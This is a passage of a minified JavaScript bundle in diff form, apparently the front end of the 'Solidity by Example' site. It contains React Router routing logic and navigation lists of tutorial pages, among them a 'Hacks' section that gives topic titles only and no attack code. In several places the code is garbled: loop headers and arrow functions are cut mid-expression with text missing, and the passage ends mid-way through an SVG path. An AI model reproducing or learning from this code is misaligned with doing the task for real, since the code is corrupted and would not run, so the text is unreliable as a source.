s(p,c)},listen(B){if(o)throw new Error("A history only accepts one active listener");return p.addEventListener(ko,I),o=B,()=>{p.removeEventListener(ko,I),o=null}},createHref(B){return a(p,B)},createURL:A,encodeLocation(B){let g=A(B);return{pathname:g.pathname,search:g.search,hash:g.hash}},push:j,replace:y,go(B){return c.go(B)}};return b}var Wo;(function(s){s.data="data",s.deferred="deferred",s.redirect="redirect",s.error="error"})(Wo||(Wo={}));function Dd(s,a,n){n===void 0&&(n="/");let l=typeof a=="string"?jn(a):a,p=th(l.pathname||"/",n);if(p==null)return null;let e=ph(s);Od(e);let c=null;for(let t=0;c==null&&t{let o={relativePath:t===void 0?e.path||"":t,caseSensitive:e.caseSensitive===!0,childrenIndex:c,route:e};o.relativePath.startsWith("/")&&(P(o.relativePath.startsWith(l),'Absolute route path "'+o.relativePath+'" nested under path '+('"'+l+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),o.relativePath=o.relativePath.slice(l.length));let r=Ya([l,o.relativePath]),d=n.concat(o);e.children&&e.children.length>0&&(P(e.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+r+'".')),ph(e.children,a,d,r)),!(e.path==null&&!e.index)&&a.push({path:r,score:lI(r,e.index),routesMeta:d})};return s.forEach((e,c)=>{var t;if(e.path===""||!((t=e.path)!=null&&t.includes("?")))p(e,c);else for(let o of eh(e.path))p(e,c,o)}),a}function eh(s){let a=s.split("/");if(a.length===0)return[];let[n,...l]=a,p=n.endsWith("?"),e=n.replace(/\?$/,"");if(l.length===0)return p?[e,""]:[e];let c=eh(l.join("/")),t=[];return t.push(...c.map(o=>o===""?e:[e,o].join("/"))),p&&t.push(...c),t.map(o=>s.startsWith("/")&&o===""?"/":o)}function Od(s){s.sort((a,n)=>a.score!==n.score?n.score-a.score:pI(a.routesMeta.map(l=>l.childrenIndex),n.routesMeta.map(l=>l.childrenIndex)))}const Pd=/^:\w+$/,$d=3,qd=2,sI=1,aI=10,nI=-2,Bo=s=>s==="*";function lI(s,a){let n=s.split("/"),l=n.length;return n.some(Bo)&&(l+=nI),a&&(l+=qd),n.filter(p=>!Bo(p)).reduce((p,e)=>p+(Pd.test(e)?$d:e===""?sI:aI),l)}function pI(s,a){return s.length===a.length&&s.slice(0,-1).every((l,p)=>l===a[p])?s[s.length-1]-a[a.length-1]:0}function eI(s,a){let{routesMeta:n}=s,l={},p="/",e=[];for(let c=0;c{let{paramName:j,isOptional:y}=d;if(j==="*"){let b=t[I]||"";c=e.slice(0,e.length-b.length).replace(/(.)\/+$/,"$1")}const A=t[I];return y&&!A?r[j]=void 0:r[j]=oI(A||"",j),r},{}),pathname:e,pathnameBase:c,pattern:s}}function cI(s,a,n){a===void 0&&(a=!1),n===void 0&&(n=!0),tt(s==="*"||!s.endsWith("*")||s.endsWith("/*"),'Route path "'+s+'" will be treated as if it were '+('"'+s.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+s.replace(/\*$/,"/*")+'".'));let l=[],p="^"+s.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:(\w+)(\?)?/g,(c,t,o)=>(l.push({paramName:t,isOptional:o!=null}),o?"/?([^\\/]+)?":"/([^\\/]+)"));return s.endsWith("*")?(l.push({paramName:"*"}),p+=s==="*"||s==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?p+="\\/*$":s!==""&&s!=="/"&&(p+="(?:(?=\\/|$))"),[new RegExp(p,a?void 0:"i"),l]}function tI(s){try{return decodeURI(s)}catch(a){return tt(!1,'The URL path "'+s+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+a+").")),s}}function oI(s,a){try{return decodeURIComponent(s)}catch(n){return tt(!1,'The value for the URL param "'+a+'" will not be decoded because'+(' the string "'+s+'" is a malformed URL segment. This is probably')+(" due to a bad percent encoding ("+n+").")),s}}function th(s,a){if(a==="/")return s;if(!s.toLowerCase().startsWith(a.toLowerCase()))return null;let n=a.endsWith("/")?a.length-1:a.length,l=s.charAt(n);return l&&l!=="/"?null:s.slice(n)||"/"}function rI(s,a){a===void 0&&(a="/");let{pathname:n,search:l="",hash:p=""}=typeof s=="string"?jn(s):s;return{pathname:n?n.startsWith("/")?n:iI(n,a):a,search:CI(l),hash:jI(p)}}function iI(s,a){let n=a.replace(/\/+$/,"").split("/");return s.split("/").forEach(p=>{p===".."?n.length>1&&n.pop():p!=="."&&n.push(p)}),n.length>1?n.join("/"):"/"}function he(s,a,n,l){return"Cannot include a '"+s+"' character in a manually specified "+("`to."+a+"` field ["+JSON.stringify(l)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function hI(s){return s.filter((a,n)=>n===0||a.route.path&&a.route.path.length>0)}function gI(s,a){let n=hI(s);return a?n.map((l,p)=>p===s.length-1?l.pathname:l.pathnameBase):n.map(l=>l.pathnameBase)}function dI(s,a,n,l){l===void 0&&(l=!1);let p;typeof s=="string"?p=jn(s):(p=pl({},s),P(!p.pathname||!p.pathname.includes("?"),he("?","pathname","search",p)),P(!p.pathname||!p.pathname.includes("#"),he("#","pathname","hash",p)),P(!p.search||!p.search.includes("#"),he("#","search","hash",p)));let e=s===""||p.pathname==="",c=e?"/":p.pathname,t;if(c==null)t=n;else{let I=a.length-1;if(!l&&c.startsWith("..")){let j=c.split("/");for(;j[0]==="..";)j.shift(),I-=1;p.pathname=j.join("/")}t=I>=0?a[I]:"/"}let o=rI(p,t),r=c&&c!=="/"&&c.endsWith("/"),d=(e||c===".")&&n.endsWith("/");return!o.pathname.endsWith("/")&&(r||d)&&(o.pathname+="/"),o}const Ya=s=>s.join("/").replace(/\/\/+/g,"/"),II=s=>s.replace(/\/+$/,"").replace(/^\/*/,"/"),CI=s=>!s||s==="?"?"":s.startsWith("?")?s:"?"+s,jI=s=>!s||s==="#"?"":s.startsWith("#")?s:"#"+s;function uI(s){return s!=null&&typeof s.status=="number"&&typeof s.statusText=="string"&&typeof s.internal=="boolean"&&"data"in s}const oh=["post","put","patch","delete"];new Set(oh);const yI=["get",...oh];new Set(yI);/** * React Router v6.21.1 * * Copyright (c) Remix Software Inc. @@ -55,7 +55,7 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function el(){return el=Object.assign?Object.assign.bind():function(s){for(var a=1;a{t.current=!0}),W.useCallback(function(r,d){if(d===void 0&&(d={}),!t.current)return;if(typeof r=="number"){l.go(r);return}let I=gI(r,JSON.parse(c),e,d.relative==="path");s==null&&a!=="/"&&(I.pathname=I.pathname==="/"?a:Ya([a,I.pathname])),(d.replace?l.replace:l.push)(I,d.state,d)},[a,l,c,e,s])}function bI(s,a){return wI(s,a)}function wI(s,a,n,l){Hp()||P(!1);let{navigator:p}=W.useContext(Rp),{matches:e}=W.useContext(un),c=e[e.length-1],t=c?c.params:{};c&&c.pathname;let o=c?c.pathnameBase:"/";c&&c.route;let r=Fp(),d;if(a){var I;let B=typeof a=="string"?jn(a):a;o==="/"||(I=B.pathname)!=null&&I.startsWith(o)||P(!1),d=B}else d=r;let j=d.pathname||"/",y=o==="/"?j:j.slice(o.length)||"/",A=Td(s,{pathname:y}),b=GI(A&&A.map(B=>Object.assign({},B,{params:Object.assign({},t,B.params),pathname:Ya([o,p.encodeLocation?p.encodeLocation(B.pathname).pathname:B.pathname]),pathnameBase:B.pathnameBase==="/"?o:Ya([o,p.encodeLocation?p.encodeLocation(B.pathnameBase).pathname:B.pathnameBase])})),e,n,l);return a&&b?W.createElement(Xp.Provider,{value:{location:el({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:oa.Pop}},b):b}function kI(){let s=YI(),a=jI(s)?s.status+" "+s.statusText:s instanceof Error?s.message:JSON.stringify(s),n=s instanceof Error?s.stack:null,p={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return W.createElement(W.Fragment,null,W.createElement("h2",null,"Unexpected Application Error!"),W.createElement("h3",{style:{fontStyle:"italic"}},a),n?W.createElement("pre",{style:p},n):null,null)}const ZI=W.createElement(kI,null);class WI extends W.Component{constructor(a){super(a),this.state={location:a.location,revalidation:a.revalidation,error:a.error}}static getDerivedStateFromError(a){return{error:a}}static getDerivedStateFromProps(a,n){return n.location!==a.location||n.revalidation!=="idle"&&a.revalidation==="idle"?{error:a.error,location:a.location,revalidation:a.revalidation}:{error:a.error!==void 0?a.error:n.error,location:n.location,revalidation:a.revalidation||n.revalidation}}componentDidCatch(a,n){console.error("React Router caught the following error during render",a,n)}render(){return this.state.error!==void 0?W.createElement(un.Provider,{value:this.props.routeContext},W.createElement(oh.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function BI(s){let{routeContext:a,match:n,children:l}=s,p=W.useContext(ot);return p&&p.static&&p.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(p.staticContext._deepestRenderedBoundaryId=n.route.id),W.createElement(un.Provider,{value:a},l)}function GI(s,a,n,l){var p;if(a===void 0&&(a=[]),n===void 0&&(n=null),l===void 0&&(l=null),s==null){var e;if((e=n)!=null&&e.errors)s=n.matches;else return null}let c=s,t=(p=n)==null?void 0:p.errors;if(t!=null){let d=c.findIndex(I=>I.route.id&&(t==null?void 0:t[I.route.id]));d>=0||P(!1),c=c.slice(0,Math.min(c.length,d+1))}let o=!1,r=-1;if(n&&l&&l.v7_partialHydration)for(let d=0;d=0?c=c.slice(0,r+1):c=[c[0]];break}}}return c.reduceRight((d,I,j)=>{let y,A=!1,b=null,B=null;n&&(y=t&&I.route.id?t[I.route.id]:void 0,b=I.route.errorElement||ZI,o&&(r<0&&j===0?(XI("route-fallback",!1),A=!0,B=null):r===j&&(A=!0,B=I.route.hydrateFallbackElement||null)));let g=a.concat(c.slice(0,j+1)),h=()=>{let C;return y?C=b:A?C=B:I.route.Component?C=W.createElement(I.route.Component,null):I.route.element?C=I.route.element:C=d,W.createElement(BI,{match:I,routeContext:{outlet:d,matches:g,isDataRoute:n!=null},children:C})};return n&&(I.route.ErrorBoundary||I.route.errorElement||j===0)?W.createElement(WI,{location:n.location,revalidation:n.revalidation,component:b,error:y,children:h(),routeContext:{outlet:null,matches:g,isDataRoute:!0}}):h()},null)}var ih=function(s){return s.UseBlocker="useBlocker",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s}(ih||{}),Ip=function(s){return s.UseBlocker="useBlocker",s.UseLoaderData="useLoaderData",s.UseActionData="useActionData",s.UseRouteError="useRouteError",s.UseNavigation="useNavigation",s.UseRouteLoaderData="useRouteLoaderData",s.UseMatches="useMatches",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s.UseRouteId="useRouteId",s}(Ip||{});function fI(s){let a=W.useContext(ot);return a||P(!1),a}function VI(s){let a=W.useContext(yI);return a||P(!1),a}function vI(s){let a=W.useContext(un);return a||P(!1),a}function hh(s){let a=vI(),n=a.matches[a.matches.length-1];return n.route.id||P(!1),n.route.id}function YI(){var s;let a=W.useContext(oh),n=VI(Ip.UseRouteError),l=hh(Ip.UseRouteError);return a!==void 0?a:(s=n.errors)==null?void 0:s[l]}function RI(){let{router:s}=fI(ih.UseNavigateStable),a=hh(Ip.UseNavigateStable),n=W.useRef(!1);return rh(()=>{n.current=!0}),W.useCallback(function(p,e){e===void 0&&(e={}),n.current&&(typeof p=="number"?s.navigate(p):s.navigate(p,el({fromRouteId:a},e)))},[s,a])}const Go={};function XI(s,a,n){!a&&!Go[s]&&(Go[s]=!0)}function gh(s){P(!1)}function HI(s){let{basename:a="/",children:n=null,location:l,navigationType:p=oa.Pop,navigator:e,static:c=!1,future:t}=s;Hp()&&P(!1);let o=a.replace(/^\/*/,"/"),r=W.useMemo(()=>({basename:o,navigator:e,static:c,future:el({v7_relativeSplatPath:!1},t)}),[o,t,e,c]);typeof l=="string"&&(l=jn(l));let{pathname:d="/",search:I="",hash:j="",state:y=null,key:A="default"}=l,b=W.useMemo(()=>{let B=ch(d,o);return B==null?null:{location:{pathname:B,search:I,hash:j,state:y,key:A},navigationType:p}},[o,d,I,j,y,A,p]);return b==null?null:W.createElement(Rp.Provider,{value:r},W.createElement(Xp.Provider,{children:n,value:b}))}function FI(s){let{children:a,location:n}=s;return bI(rc(a),n)}new Promise(()=>{});function rc(s,a){a===void 0&&(a=[]);let n=[];return W.Children.forEach(s,(l,p)=>{if(!W.isValidElement(l))return;let e=[...a,p];if(l.type===W.Fragment){n.push.apply(n,rc(l.props.children,e));return}l.type!==gh&&P(!1),!l.props.index||!l.props.children||P(!1);let c={id:l.props.id||e.join("-"),caseSensitive:l.props.caseSensitive,element:l.props.element,Component:l.props.Component,index:l.props.index,path:l.props.path,loader:l.props.loader,action:l.props.action,errorElement:l.props.errorElement,ErrorBoundary:l.props.ErrorBoundary,hasErrorBoundary:l.props.ErrorBoundary!=null||l.props.errorElement!=null,shouldRevalidate:l.props.shouldRevalidate,handle:l.props.handle,lazy:l.props.lazy};l.props.children&&(c.children=rc(l.props.children,e)),n.push(c)}),n}/** + */function el(){return el=Object.assign?Object.assign.bind():function(s){for(var a=1;a{t.current=!0}),W.useCallback(function(r,d){if(d===void 0&&(d={}),!t.current)return;if(typeof r=="number"){l.go(r);return}let I=dI(r,JSON.parse(c),e,d.relative==="path");s==null&&a!=="/"&&(I.pathname=I.pathname==="/"?a:Ya([a,I.pathname])),(d.replace?l.replace:l.push)(I,d.state,d)},[a,l,c,e,s])}function wI(s,a){return kI(s,a)}function kI(s,a,n,l){Hp()||P(!1);let{navigator:p}=W.useContext(Rp),{matches:e}=W.useContext(un),c=e[e.length-1],t=c?c.params:{};c&&c.pathname;let o=c?c.pathnameBase:"/";c&&c.route;let r=Fp(),d;if(a){var I;let B=typeof a=="string"?jn(a):a;o==="/"||(I=B.pathname)!=null&&I.startsWith(o)||P(!1),d=B}else d=r;let j=d.pathname||"/",y=o==="/"?j:j.slice(o.length)||"/",A=Dd(s,{pathname:y}),b=fI(A&&A.map(B=>Object.assign({},B,{params:Object.assign({},t,B.params),pathname:Ya([o,p.encodeLocation?p.encodeLocation(B.pathname).pathname:B.pathname]),pathnameBase:B.pathnameBase==="/"?o:Ya([o,p.encodeLocation?p.encodeLocation(B.pathnameBase).pathname:B.pathnameBase])})),e,n,l);return a&&b?W.createElement(Xp.Provider,{value:{location:el({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:oa.Pop}},b):b}function ZI(){let s=RI(),a=uI(s)?s.status+" "+s.statusText:s instanceof Error?s.message:JSON.stringify(s),n=s instanceof Error?s.stack:null,p={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return W.createElement(W.Fragment,null,W.createElement("h2",null,"Unexpected Application Error!"),W.createElement("h3",{style:{fontStyle:"italic"}},a),n?W.createElement("pre",{style:p},n):null,null)}const WI=W.createElement(ZI,null);class BI extends W.Component{constructor(a){super(a),this.state={location:a.location,revalidation:a.revalidation,error:a.error}}static getDerivedStateFromError(a){return{error:a}}static getDerivedStateFromProps(a,n){return n.location!==a.location||n.revalidation!=="idle"&&a.revalidation==="idle"?{error:a.error,location:a.location,revalidation:a.revalidation}:{error:a.error!==void 0?a.error:n.error,location:n.location,revalidation:a.revalidation||n.revalidation}}componentDidCatch(a,n){console.error("React Router caught the following error during render",a,n)}render(){return this.state.error!==void 0?W.createElement(un.Provider,{value:this.props.routeContext},W.createElement(rh.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function GI(s){let{routeContext:a,match:n,children:l}=s,p=W.useContext(ot);return p&&p.static&&p.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(p.staticContext._deepestRenderedBoundaryId=n.route.id),W.createElement(un.Provider,{value:a},l)}function fI(s,a,n,l){var p;if(a===void 0&&(a=[]),n===void 0&&(n=null),l===void 0&&(l=null),s==null){var e;if((e=n)!=null&&e.errors)s=n.matches;else return null}let c=s,t=(p=n)==null?void 0:p.errors;if(t!=null){let d=c.findIndex(I=>I.route.id&&(t==null?void 0:t[I.route.id]));d>=0||P(!1),c=c.slice(0,Math.min(c.length,d+1))}let o=!1,r=-1;if(n&&l&&l.v7_partialHydration)for(let d=0;d=0?c=c.slice(0,r+1):c=[c[0]];break}}}return c.reduceRight((d,I,j)=>{let y,A=!1,b=null,B=null;n&&(y=t&&I.route.id?t[I.route.id]:void 0,b=I.route.errorElement||WI,o&&(r<0&&j===0?(HI("route-fallback",!1),A=!0,B=null):r===j&&(A=!0,B=I.route.hydrateFallbackElement||null)));let g=a.concat(c.slice(0,j+1)),h=()=>{let C;return y?C=b:A?C=B:I.route.Component?C=W.createElement(I.route.Component,null):I.route.element?C=I.route.element:C=d,W.createElement(GI,{match:I,routeContext:{outlet:d,matches:g,isDataRoute:n!=null},children:C})};return n&&(I.route.ErrorBoundary||I.route.errorElement||j===0)?W.createElement(BI,{location:n.location,revalidation:n.revalidation,component:b,error:y,children:h(),routeContext:{outlet:null,matches:g,isDataRoute:!0}}):h()},null)}var hh=function(s){return s.UseBlocker="useBlocker",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s}(hh||{}),Ip=function(s){return s.UseBlocker="useBlocker",s.UseLoaderData="useLoaderData",s.UseActionData="useActionData",s.UseRouteError="useRouteError",s.UseNavigation="useNavigation",s.UseRouteLoaderData="useRouteLoaderData",s.UseMatches="useMatches",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s.UseRouteId="useRouteId",s}(Ip||{});function VI(s){let a=W.useContext(ot);return a||P(!1),a}function vI(s){let a=W.useContext(mI);return a||P(!1),a}function YI(s){let a=W.useContext(un);return a||P(!1),a}function gh(s){let a=YI(),n=a.matches[a.matches.length-1];return n.route.id||P(!1),n.route.id}function RI(){var s;let a=W.useContext(rh),n=vI(Ip.UseRouteError),l=gh(Ip.UseRouteError);return a!==void 0?a:(s=n.errors)==null?void 0:s[l]}function XI(){let{router:s}=VI(hh.UseNavigateStable),a=gh(Ip.UseNavigateStable),n=W.useRef(!1);return ih(()=>{n.current=!0}),W.useCallback(function(p,e){e===void 0&&(e={}),n.current&&(typeof p=="number"?s.navigate(p):s.navigate(p,el({fromRouteId:a},e)))},[s,a])}const Go={};function HI(s,a,n){!a&&!Go[s]&&(Go[s]=!0)}function dh(s){P(!1)}function FI(s){let{basename:a="/",children:n=null,location:l,navigationType:p=oa.Pop,navigator:e,static:c=!1,future:t}=s;Hp()&&P(!1);let o=a.replace(/^\/*/,"/"),r=W.useMemo(()=>({basename:o,navigator:e,static:c,future:el({v7_relativeSplatPath:!1},t)}),[o,t,e,c]);typeof l=="string"&&(l=jn(l));let{pathname:d="/",search:I="",hash:j="",state:y=null,key:A="default"}=l,b=W.useMemo(()=>{let B=th(d,o);return B==null?null:{location:{pathname:B,search:I,hash:j,state:y,key:A},navigationType:p}},[o,d,I,j,y,A,p]);return b==null?null:W.createElement(Rp.Provider,{value:r},W.createElement(Xp.Provider,{children:n,value:b}))}function NI(s){let{children:a,location:n}=s;return wI(rc(a),n)}new Promise(()=>{});function rc(s,a){a===void 0&&(a=[]);let n=[];return W.Children.forEach(s,(l,p)=>{if(!W.isValidElement(l))return;let e=[...a,p];if(l.type===W.Fragment){n.push.apply(n,rc(l.props.children,e));return}l.type!==dh&&P(!1),!l.props.index||!l.props.children||P(!1);let c={id:l.props.id||e.join("-"),caseSensitive:l.props.caseSensitive,element:l.props.element,Component:l.props.Component,index:l.props.index,path:l.props.path,loader:l.props.loader,action:l.props.action,errorElement:l.props.errorElement,ErrorBoundary:l.props.ErrorBoundary,hasErrorBoundary:l.props.ErrorBoundary!=null||l.props.errorElement!=null,shouldRevalidate:l.props.shouldRevalidate,handle:l.props.handle,lazy:l.props.lazy};l.props.children&&(c.children=rc(l.props.children,e)),n.push(c)}),n}/** * React Router DOM v6.21.1 * * Copyright (c) Remix Software Inc. @@ -64,7 +64,7 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function ic(s){return s===void 0&&(s=""),new URLSearchParams(typeof s=="string"||Array.isArray(s)||s instanceof URLSearchParams?s:Object.keys(s).reduce((a,n)=>{let l=s[n];return a.concat(Array.isArray(l)?l.map(p=>[n,p]):[[n,l]])},[]))}function NI(s,a){let n=ic(s);return a&&a.forEach((l,p)=>{n.has(p)||a.getAll(p).forEach(e=>{n.append(p,e)})}),n}const KI="startTransition",fo=Hh[KI];function SI(s){let{basename:a,children:n,future:l,window:p}=s,e=W.useRef();e.current==null&&(e.current=Qd({window:p,v5Compat:!0}));let c=e.current,[t,o]=W.useState({action:c.action,location:c.location}),{v7_startTransition:r}=l||{},d=W.useCallback(I=>{r&&fo?fo(()=>o(I)):o(I)},[o,r]);return W.useLayoutEffect(()=>c.listen(d),[c,d]),W.createElement(HI,{basename:a,children:n,location:t.location,navigationType:t.action,navigator:c,future:l})}var Vo;(function(s){s.UseScrollRestoration="useScrollRestoration",s.UseSubmit="useSubmit",s.UseSubmitFetcher="useSubmitFetcher",s.UseFetcher="useFetcher",s.useViewTransitionState="useViewTransitionState"})(Vo||(Vo={}));var vo;(function(s){s.UseFetcher="useFetcher",s.UseFetchers="useFetchers",s.UseScrollRestoration="useScrollRestoration"})(vo||(vo={}));function xI(s){let a=W.useRef(ic(s)),n=W.useRef(!1),l=Fp(),p=W.useMemo(()=>NI(l.search,n.current?null:a.current),[l.search]),e=mI(),c=W.useCallback((t,o)=>{const r=ic(typeof t=="function"?t(p):t);n.current=!0,e("?"+r,o)},[e,p]);return[p,c]}const MI="_component_nqcni_1",JI="_sideNav_nqcni_6",zI="_main_nqcni_13",EI="_children_nqcni_21",Yl={component:MI,sideNav:JI,main:zI,children:EI},LI="_list_1ltry_1",QI="_title_1ltry_6",_I="_listItem_1ltry_11",UI="_listItemActive_1ltry_18",TI="_link_1ltry_26",Ma={list:LI,title:QI,listItem:_I,listItemActive:UI,link:TI},DI=[{lang:"Armenian",url:"https://pranatech.org/solidity-by-example-hy/"},{lang:"Persian",url:"https://dpanosian.com/fa/solidity-by-example"},{lang:"Spanish",url:"https://github.com/lcadafalch/solidity_attacks"},{lang:"Simplified Chinese",url:"https://github.com/Web3-Club/solidity-by-example_Chinese"}],OI=[{path:"hello-world",title:"Hello World"},{path:"first-app",title:"First App"},{path:"primitives",title:"Primitive Data Types"},{path:"variables",title:"Variables"},{path:"constants",title:"Constants"},{path:"immutable",title:"Immutable"},{path:"state-variables",title:"Reading and Writing to a State Variable"},{path:"ether-units",title:"Ether and Wei"},{path:"gas",title:"Gas and Gas Price"},{path:"if-else",title:"If / Else"},{path:"loop",title:"For and While Loop"},{path:"mapping",title:"Mapping"},{path:"array",title:"Array"},{path:"enum",title:"Enum"},{path:"structs",title:"Structs"},{path:"data-locations",title:"Data Locations - Storage, Memory and Calldata"},{path:"function",title:"Function"},{path:"view-and-pure-functions",title:"View and Pure Functions"},{path:"error",title:"Error"},{path:"function-modifier",title:"Function Modifier"},{path:"events",title:"Events"},{path:"constructor",title:"Constructor"},{path:"inheritance",title:"Inheritance"},{path:"shadowing-inherited-state-variables",title:"Shadowing Inherited State Variables"},{path:"super",title:"Calling Parent Contracts"},{path:"visibility",title:"Visibility"},{path:"interface",title:"Interface"},{path:"payable",title:"Payable"},{path:"sending-ether",title:"Sending Ether - Transfer, Send, and Call"},{path:"fallback",title:"Fallback"},{path:"call",title:"Call"},{path:"delegatecall",title:"Delegatecall"},{path:"function-selector",title:"Function Selector"},{path:"calling-contract",title:"Calling Other Contract"},{path:"new-contract",title:"Creating Contracts from a Contract"},{path:"try-catch",title:"Try / Catch"},{path:"import",title:"Import"},{path:"library",title:"Library"},{path:"abi-encode",title:"ABI Encode"},{path:"abi-decode",title:"ABI Decode"},{path:"hashing",title:"Hashing with Keccak256"},{path:"signature",title:"Verifying Signature"},{path:"gas-golf",title:"Gas Optimizations"},{path:"bitwise",title:"Bitwise Operators"},{path:"unchecked-math",title:"Unchecked Math"},{path:"assembly-variable",title:"Assembly Variable"},{path:"assembly-if",title:"Assembly Conditional Statements"},{path:"assembly-loop",title:"Assembly Loop"},{path:"assembly-error",title:"Assembly Error"},{path:"assembly-math",title:"Assembly Math"}],PI=[{path:"ether-wallet",title:"Ether Wallet"},{path:"multi-sig-wallet",title:"Multi Sig Wallet"},{path:"merkle-tree",title:"Merkle Tree"},{path:"iterable-mapping",title:"Iterable Mapping"},{path:"erc20",title:"ERC20"},{path:"erc721",title:"ERC721"},{path:"erc1155",title:"ERC1155"},{path:"gasless-token-transfer",title:"Gasless Token Transfer"},{path:"simple-bytecode-contract",title:"Simple Bytecode Contract"},{path:"create2",title:"Precompute Contract Address with Create2"},{path:"minimal-proxy",title:"Minimal Proxy Contract"},{path:"upgradeable-proxy",title:"Upgradeable Proxy"},{path:"deploy-any-contract",title:"Deploy Any Contract"},{path:"write-to-any-slot",title:"Write to Any Slot"},{path:"uni-directional-payment-channel",title:"Uni-directional Payment Channel"},{path:"bi-directional-payment-channel",title:"Bi-directional Payment Channel"},{path:"english-auction",title:"English Auction"},{path:"dutch-auction",title:"Dutch Auction"},{path:"crowd-fund",title:"Crowd Fund"},{path:"multi-call",title:"Multi Call"},{path:"multi-delegatecall",title:"Multi Delegatecall"},{path:"time-lock",title:"Time Lock"},{path:"assembly-bin-exp",title:"Assembly Binary Exponentiation"}],$I=[{path:"re-entrancy",title:"Re-Entrancy"},{path:"overflow",title:"Arithmetic Overflow and Underflow"},{path:"self-destruct",title:"Self Destruct"},{path:"accessing-private-data",title:"Accessing Private Data"},{path:"delegatecall",title:"Delegatecall"},{path:"randomness",title:"Source of Randomness"},{path:"denial-of-service",title:"Denial of Service"},{path:"phishing-with-tx-origin",title:"Phishing with tx.origin"},{path:"hiding-malicious-code-with-external-contract",title:"Hiding Malicious Code with External Contract"},{path:"honeypot",title:"Honeypot"},{path:"front-running",title:"Front Running"},{path:"block-timestamp-manipulation",title:"Block Timestamp Manipulation"},{path:"signature-replay",title:"Signature Replay"},{path:"contract-size",title:"Bypass Contract Size Check"},{path:"deploy-different-contracts-same-address",title:"Deploy Different Contracts at Same Address"},{path:"vault-inflation",title:"Vault Inflation Attack"}],qI=[{path:"echidna",title:"Echidna"}],sC=[{path:"uniswap-v2",title:"Uniswap V2 Swap"},{path:"uniswap-v2-add-remove-liquidity",title:"Uniswap V2 Add Remove Liquidity"},{path:"uniswap-v2-optimal-one-sided-supply",title:"Uniswap V2 Optimal One Sided Supply"},{path:"uniswap-v2-flash-swap",title:"Uniswap V2 Flash Swap"},{path:"uniswap-v3-swap",title:"Uniswap V3 Swap"},{path:"uniswap-v3-liquidity",title:"Uniswap V3 Liquidity"},{path:"uniswap-v3-flash",title:"Uniswap V3 Flash Loan"},{path:"uniswap-v3-flash-swap",title:"Uniswap V3 Flash Swap Arbitrage"},{path:"chainlink-price-oracle",title:"Chainlink Price Oracle"},{path:"dai-proxy",title:"DAI Proxy"},{path:"staking-rewards",title:"Staking Rewards"},{path:"discrete-staking-rewards",title:"Discrete Staking Rewards"},{path:"vault",title:"Vault"},{path:"constant-sum-amm",title:"Constant Sum AMM"},{path:"constant-product-amm",title:"Constant Product AMM"},{path:"stable-swap-amm",title:"Stable Swap AMM"}],rt=[{title:"",routes:OI.map(s=>({...s,path:`/${s.path}`}))},{title:"Applications",routes:PI.map(s=>({...s,path:`/app/${s.path}`}))},{title:"Hacks",routes:$I.map(s=>({...s,path:`/hacks/${s.path}`}))},{title:"Tests",routes:qI.map(s=>({...s,path:`/tests/${s.path}`}))},{title:"DeFi",routes:sC.map(s=>({...s,path:`/defi/${s.path}`}))}],Cp=rt.map(({routes:s})=>s).flat(),aC=Cp.reduce((s,a,n)=>(s[a.path]=n,s),{});function nC(s){const a=aC[s];if(a>=0){const n=Cp[a-1]||null,l=Cp[a+1]||null;return{prev:n,next:l}}return{prev:null,next:null}}const lC=({onClick:s})=>{const a=Fp();function n(l,p){l.preventDefault(),s(p)}return i.jsxs(i.Fragment,{children:[i.jsx("h3",{className:Ma.category,children:"Basic"}),rt.map(({routes:l,title:p},e)=>i.jsxs("div",{children:[p&&i.jsx("h3",{className:Ma.title,children:p}),i.jsx("ul",{className:Ma.list,children:l.map(({path:c,title:t})=>{const o=!!eh(c,a.pathname);return i.jsx("li",{className:o?Ma.listItemActive:Ma.listItem,children:i.jsx("a",{className:Ma.link,href:c,onClick:r=>n(r,c),children:t})},c)})})]},e))]})},pC=({size:s,className:a="",onClick:n})=>i.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 20 20",strokeWidth:2,stroke:"currentColor",className:a,width:s,height:s,onClick:n,children:i.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"})}),eC="_component_15x91_1",cC="_a_15x91_13",tC="_center_15x91_16",oC="_logo_15x91_21",rC="_header_15x91_24",iC="_mode_15x91_28",hC="_hamburger_15x91_33",aa={component:eC,a:cC,center:tC,logo:oC,header:rC,mode:iC,hamburger:hC},gC=({size:s,className:a=""})=>i.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"#fff",viewBox:"0 0 438.277 438.277",width:s,height:s,className:a,children:i.jsx("path",{d:"M428.756 300.104c-.664-3.81-2.334-7.047-4.996-9.713-5.9-5.903-12.752-7.142-20.554-3.716-20.937 9.708-42.641 14.558-65.097 14.558-28.171 0-54.152-6.94-77.943-20.838-23.791-13.894-42.631-32.736-56.525-56.53-13.899-23.793-20.844-49.773-20.844-77.945 0-21.888 4.333-42.683 12.991-62.384 8.66-19.7 21.176-36.973 37.543-51.82 6.283-5.898 7.713-12.752 